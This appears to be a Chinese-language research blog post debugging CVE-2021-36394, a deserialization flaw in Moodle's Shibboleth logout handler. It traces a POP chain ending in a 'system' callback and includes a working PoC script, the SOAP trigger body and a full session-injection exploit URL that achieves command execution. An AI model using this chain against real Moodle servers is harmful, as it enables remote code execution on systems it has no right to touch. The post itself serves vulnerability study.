CVE-2021-36394 调试分析
date
Dec 15, 2021
slug
CVE-2021-36394-analyse
status
Published
tags
PHP安全
安全研究
summary
moodle相关的一个反序列化的洞,分析一下
type
Post
moodle相关的一个反序列化的洞,分析一下
phpbrew安装完插件记得重启!!!!!!
需要开启Shibboleth认证插件,不知道咋开启,当时后台开启了
判断路径:
/auth/shibboleth/login.php
不知道如何写入session的,还需要一个恶意的类
参考:
pop链相关
过了一个月之后在xz上看到文章,又学到了一点新知识,主要是关于
Iterator
这个迭代器的一个知识点,这能拿来做一个新的跳板,而且这是属于PHP 7的新特性,注意这张图片的最后一句话![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb3066cae-fef5-4edc-a847-6e26e556b3c2%2FUntitled.png%3Fid%3D55aa4c05-6ac9-4bb1-acd4-4f90294a2150%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3Df8Ow0YDMFshzCqJ4Q3k0zQGmChk63kkQwDRoAQTB29Q?table=block&id=55aa4c05-6ac9-4bb1-acd4-4f90294a2150&cache=v2)
关键是迭代器的那个类会实现接口中的一些方法,里面可能会有一些危害点,这个东西必须得跟foreach一起使用,所以可以关注foreach第一个参数是否是可控的,可控的就可以让其赋值为相关的接口的对象
<?php
/**
* 该类允许外部迭代自己内部私有属性$_test,并演示迭代过程
*
* @author 疯狂老司机
*/
class TestIterator implements Iterator {
/*
* 定义要进行迭代的数组
*/
private $_test = array('dog', 'cat', 'pig');
/*
* 索引游标
*/
private $_key = 0;
/*
* 执行步骤
*/
private $_step = 0;
/**
* 将索引游标指向初始位置
*
* @see TestIterator::rewind()
*/
public function rewind() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
$this->_key = 0;
}
/**
* 判断当前索引游标指向的元素是否设置
*
* @see TestIterator::valid()
* @return bool
*/
public function valid() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return isset($this->_test[$this->_key]);
}
/**
* 将当前索引指向下一位置
*
* @see TestIterator::next()
*/
public function next() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
$this->_key++;
}
/**
* 返回当前索引游标指向的元素的值
*
* @see TestIterator::current()
* @return value
*/
public function current() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return $this->_test[$this->_key];
}
/**
* 返回当前索引值
*
* @return key
* @see TestIterator::key()
*/
public function key() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return $this->_key;
}
}
$iterator = new TestIterator();
foreach($iterator as $key => $value){
echo "输出索引为{$key}的元素".":$value".'\n\n';
}
?>
这是测试的代码,输出的结果如下:
第1步:执行 TestIterator::rewind
第2步:执行 TestIterator::valid
第3步:执行 TestIterator::current
第4步:执行 TestIterator::key
输出索引为0的元素:dog\n\n第5步:执行 TestIterator::next
第6步:执行 TestIterator::valid
第7步:执行 TestIterator::current
第8步:执行 TestIterator::key
输出索引为1的元素:cat\n\n第9步:执行 TestIterator::next
第10步:执行 TestIterator::valid
第11步:执行 TestIterator::current
第12步:执行 TestIterator::key
输出索引为2的元素:pig\n\n第13步:执行 TestIterator::next
第14步:执行 TestIterator::valid
可以观察到代码中会固定执行valid→current→key→next这几个步骤,因此在漏洞利用的时候可以多找找这几个函数
那么就来找一下这个漏洞的pop链
这一条是能直接RCE的
\core\lock\lock::__destruct→\core_availability\tree::__toString→\core\dml\recordset_walk::current
这个过程还是需要自己构建一些参数,可以观察到最后的触发点之前,还需要经过valid()和current()函数的处理,所以这里的$this->recordset最好还是找Iterable的实例对象比较好,只有这个对象才把对应的这两个函数给实现了,当然也能找其他的
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb8234f47-4303-4e1b-863c-671f69516522%2FUntitled.png%3Fid%3De51c14a5-b5b7-406d-b391-32b053f05dfb%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DhLSaw5OHi2wVjlW6mFJCM7INMXHbKh6-uiWfVdTrgbg?table=block&id=e51c14a5-b5b7-406d-b391-32b053f05dfb&cache=v2)
漏洞作者最后找的是
question_attempt_iterator
这个类,这个类是实现了Iterable接口的,测试发现这个类并不在这个CMS初始化的类里面,这时候的解决方法找了一个中转类![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F618b42f2-ed1f-424d-8cdc-f5f75baf5ae2%2FUntitled.png%3Fid%3Dee5efccf-54a0-4329-bbb6-5c5c25dd62ce%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3Dd8NSfZRk3fkIZlMIZ7CFnKr6YWf8HIVJrTbOSEfM6GI?table=block&id=ee5efccf-54a0-4329-bbb6-5c5c25dd62ce&cache=v2)
但是好像get_defined_classes打印出来的内容展示的并不全面,后来我还是全局搜索的spl_autoload_register才找到最终调用classloader在哪,这里是install.php调用的地方
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F19f12142-5a4f-4d7a-b426-c05020035d95%2FUntitled.png%3Fid%3D0c7f1a0f-b083-4300-98f0-610fef9d4692%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DWF8A9Jeh3NVsVeThb-ZiO7O-ybhlIiYaNBBOvTV5VMY?table=block&id=0c7f1a0f-b083-4300-98f0-610fef9d4692&cache=v2)
如果是从index.php里面出发是以包含config.php触发的,最终会包含setup.php,在下图的代码里面包含最后的文件
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F0367ade6-1b0c-4942-bad1-b41d629a8fb5%2FUntitled.png%3Fid%3D648bff0d-9b62-4438-826e-84b98768c99a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DKZqrxj15G7lYGMM2U5Y5Lp7b5uTwU_kN8yckZFjuQ18?table=block&id=648bff0d-9b62-4438-826e-84b98768c99a&cache=v2)
找到对应函数,注释内容已经告诉我们是怎么加载文件了的,可以看到都是加载的classes文件下的php文件,最后还是常规的文件包含引入那个文件
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F3c33bcd9-fa74-47a4-872a-a5c41805c23f%2FUntitled.png%3Fid%3D0c1a57ec-2b23-4385-bd7b-4ac23f52e9c5%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3Dr7ObNINh8dTDfLpu140evmG-HB7oPkpSBb2R7ZAFVho?table=block&id=0c1a57ec-2b23-4385-bd7b-4ac23f52e9c5&cache=v2)
此时打印一下
self::$classmap
的内容就能发现已加载的相关类,显而易见,都是在各模块下的classes文件夹下的php文件内容![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F0ffd74ae-d7a2-4efc-95dc-809eff427e02%2FUntitled.png%3Fid%3D5d15dd8a-e819-4a3c-8e35-95b32218c49c%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3D5UljZGnMom5KTvaPqoQlr3S8ErcW4uDTDPwIbVD-Uz8?table=block&id=5d15dd8a-e819-4a3c-8e35-95b32218c49c&cache=v2)
其中作者寻找的
question_attempt_iterator
并不在里面,实锤了,但是可以使用一个中间文件,就上图的core_question_external
类,这个类里面引入了question_usage_by_activity
所在的PHP 文件![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fceeaf6c7-6292-4f8b-8065-dbfc853201f3%2FUntitled.png%3Fid%3De2b01439-e7db-43b0-aa1c-a478e2af83b5%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DHnvdgdQfBksmi513EnJJbWh2806sR3SrQ9u45FXdEmM?table=block&id=e2b01439-e7db-43b0-aa1c-a478e2af83b5&cache=v2)
文章给出的poc:
<?php
namespace core\lock {
class lock {
public function __construct($class)
{
$this->key = $class;
}
}
}
namespace core_availability{
class tree {
public function __construct($class)
{
$this->children = $class;
}
}
}
namespace core\dml{
class recordset_walk {
public function __construct($class)
{
$this->recordset = $class;
$this->callbackextra = null;
$this->callback = "system";
}
}
}
namespace {
class question_attempt_iterator{
public function __construct($class)
{
$this->slots = array(
"xxx" => "key"
);
$this->quba = $class;
}
}
class question_usage_by_activity{
public function __construct()
{
$this->questionattempts = array(
"key" => "whoami"
);
}
}
class core_question_external{
}
$add_lib = new core_question_external();
$activity = new question_usage_by_activity();
$iterator = new question_attempt_iterator($activity);
$walk = new core\dml\recordset_walk($iterator);
$tree = new core_availability\tree($walk);
$lock = new core\lock\lock($tree);
$arr = array($add_lib, $lock);
$value = serialize($arr);
echo $value;
}
最后作者用了一层数组包裹着,然后触发,太巧妙了,这样一来就先包含了相关文件内容,然后再去实例化某个类,挺好的又学到一招了,不过这招在P师傅的那篇CSRF反序列化的文章也提及过,在index.php里面测试可以触发成功。
然而我一开始找到的是另外一个实现了接口的类,但是此时会变成不识别的类,导致不能进入对应的函数中。。。
还有另外一条操作数据库操作的链条,参考这个exp: https://github.com/dinhbaouit/CVE-2021-36394/blob/master/CVE2021-36394.php
最后到达的类是grade_item类,这个类里面有很多的数据库操作,可以利用这个点进行数据库操作
寻找写入session的入口点:
从exp里面可以看出来写入的路径在:
grade/report/grader/index.php
这个页面是可以直接访问的,但是前提需要我们去设置一些参数,这里有required_param和optional_param两个函数方法,这两个函数实际上是必须要的参数以及可选参数,跟进去就可以发现这些内容都是用$_GET和$_POST封装的
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb0fed13c-d4de-4373-b4ea-0dea6d110ebb%2FUntitled.png%3Fid%3D614917be-729a-4cd1-b7de-1dc5cdc4b32d%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DgASfgGzFs7iU0GYOSo09XUcfN99qIj0Skb0zht0Z7rk?table=block&id=614917be-729a-4cd1-b7de-1dc5cdc4b32d&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F7bc300ed-7fbc-4fbb-bc8d-82abc8dc4d1b%2FUntitled.png%3Fid%3D312e8e14-a49a-4860-9bb0-382af3874749%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DvH69DZ4536SRSH0dxwWwTrogZxR9fXre5Z_6h02hvlY?table=block&id=312e8e14-a49a-4860-9bb0-382af3874749&cache=v2)
这时候就需要寻找session相关的写入点,可以看到这两处地方可控,而且这里的传入的内容最后还会写入到session中去,他这里的session使用了全局变量加引用的方式封装,本质上还是那个全局变量$_SESSION,此时只要输入id和sifirst参数写入内容即可,因为id参数是必须的
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F87ed2fd5-0623-4299-9ae1-b824aa3d1acb%2FUntitled.png%3Fid%3D171be1c9-0399-496c-872f-b923b7f901b9%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DycgNQa0v9LShfh1Sn9hG-fxljEWvqTzvyVkW9JA8hU0?table=block&id=171be1c9-0399-496c-872f-b923b7f901b9&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F4467d7ad-f7b6-46fe-8ab4-6a25ab7898f5%2FUntitled.png%3Fid%3D19ff474b-8ce8-41c8-bceb-4f3f83a3bb1b%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DtGFT5bcYPHDK6iry1V1aQzoCUW3GRK-5iYlNAh99SuE?table=block&id=19ff474b-8ce8-41c8-bceb-4f3f83a3bb1b&cache=v2)
反序列化的触发点:
auth/shibboleth/logout.php
这个认证方式默认是不开启的,需要后台开启一下![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fd5a3c681-c996-499c-adcb-25bce302eac8%2FUntitled.png%3Fid%3D831dff3b-fedb-4067-bca8-4629eb8eac88%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DZu65jrNV-IJC7gUuO90rMu_sBQ7NoWvcXTKAa_z8DAM?table=block&id=831dff3b-fedb-4067-bca8-4629eb8eac88&cache=v2)
可以看出当获取的内容为$inputstream,并且这个内容不为空的时候,会调用SoapServer的LogoutNotification进行处理,因为moodle默认是文件存储session的,会走logout_file_session函数,这个函数会遍历这个文件夹下的内容,然后反序列化里面的内容,但是这个反序列化函数也是经过封装过的,经过了一次正则的处理
这里$inputstream,需要是这种格式的
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
<LogoutNotification><spsessionid>xxxx</spsessionid>
</LogoutNotification></soap:Body></soap:Envelope>
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F64d8afe9-1185-40aa-8a9e-4857ef8b7660%2FUntitled.png%3Fid%3Df7eae22c-5b73-4d2e-b4dd-1462a1af8ad0%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3D1NsRLZoTTgGgzUyAdnB8ckS0ijb81T43jqA6_v8VVGU?table=block&id=f7eae22c-5b73-4d2e-b4dd-1462a1af8ad0&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F3f9099ce-0967-40d9-8fb3-51582aeb0a96%2FUntitled.png%3Fid%3D9c6ed88e-d8e7-45e4-869a-0cc368e79ca1%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DXWeFV70Oh06WykgINQG1YA4-6ev7pCWGR-r27DR2OJA?table=block&id=9c6ed88e-d8e7-45e4-869a-0cc368e79ca1&cache=v2)
上图的
data[0]
是session文件的所有内容,在unserializesession函数里面纪念性分割,是以|
进行分割,两两一组,|
后面的内容将会进行反序列化的操作,所以在我们写入的时候必须闭合一下相关的内容,也可以不闭合,直接简单粗暴(这是因为他争则的问题。。。。),aaaaaa|......payload......|bbbbbb
构造这样的形式也是可以触发的![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F83eba1f6-e83e-4b5e-8e9f-d7295c83aea5%2FUntitled.png%3Fid%3Da9bfbd7a-31e1-47aa-889d-5d03436ef608%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DBNU-F0NxEjVzsIX2NSd0sY9umj1tNZNHoxIR3rNO_cI?table=block&id=a9bfbd7a-31e1-47aa-889d-5d03436ef608&cache=v2)
http://10.101.168.140:49079/grade/report/grader/index.php?id=test123&sifirst=aaaaaa|a:2:{i:0;O:22:%22core_question_external%22:0:{}i:1;O:14:%22core\lock\lock%22:1:{s:3:%22key%22;O:22:%22core_availability\tree%22:1:{s:8:%22children%22;O:23:%22core\dml\recordset_walk%22:3:{s:9:%22recordset%22;O:25:%22question_attempt_iterator%22:2:{s:5:%22slots%22;a:1:{s:3:%22xxx%22;s:3:%22key%22;}s:4:%22quba%22;O:26:%22question_usage_by_activity%22:1:{s:16:%22questionattempts%22;a:1:{s:3:%22key%22;s:2:%22id%22;}}}s:13:%22callbackextra%22;N;s:8:%22callback%22;s:6:%22system%22;}}}}|bbbbbb
直接写入了,触发
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F4c9aabe9-c213-4587-ab91-04a1722096fb%2FUntitled.png%3Fid%3D1b57a05e-e10b-4b75-bdd3-689a7f8e7f8a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DSasOwBWZBogT8f0KAzZDYDMrQGmGp0wA_Pfc5ljv3zg?table=block&id=1b57a05e-e10b-4b75-bdd3-689a7f8e7f8a&cache=v2)
总结
1.如果单纯测试payload是否可行,测试的时候最好还是在index.php页面测试,不然的话还得自己找一下spl在哪里注册的全局类,最好还是找找spl引入的地方更方便自己调试
2.这种没有框架的,还是得注意一下spl,梳理好怎么调用每一个class
3.使用数组包含多个类,然后利用中间类去引入其他文件(本质上是spl的注册文件包含问题),又想到另外一个点,这个点跟这个moodle还是有点不同的(我用的非windows调试),这里通过中间类文件包含是因为恰好需要的文件在同一目录下,没涉及到文件分隔符的作用
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb9227db9-0fc9-4a3a-a8e2-233a6e947b39%2FUntitled.png%3Fid%3De07b7d1a-93d2-4cfc-83f9-4e7f60785928%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DL8BrZZXYtdDVcSMTZ9uzznOmmntm_PzG9yasJCDr4To?table=block&id=e07b7d1a-93d2-4cfc-83f9-4e7f60785928&cache=v2)
4.还是得梳理整个CMS的内容包括他是如何输入数据的,怎么封装的,还是得了解清楚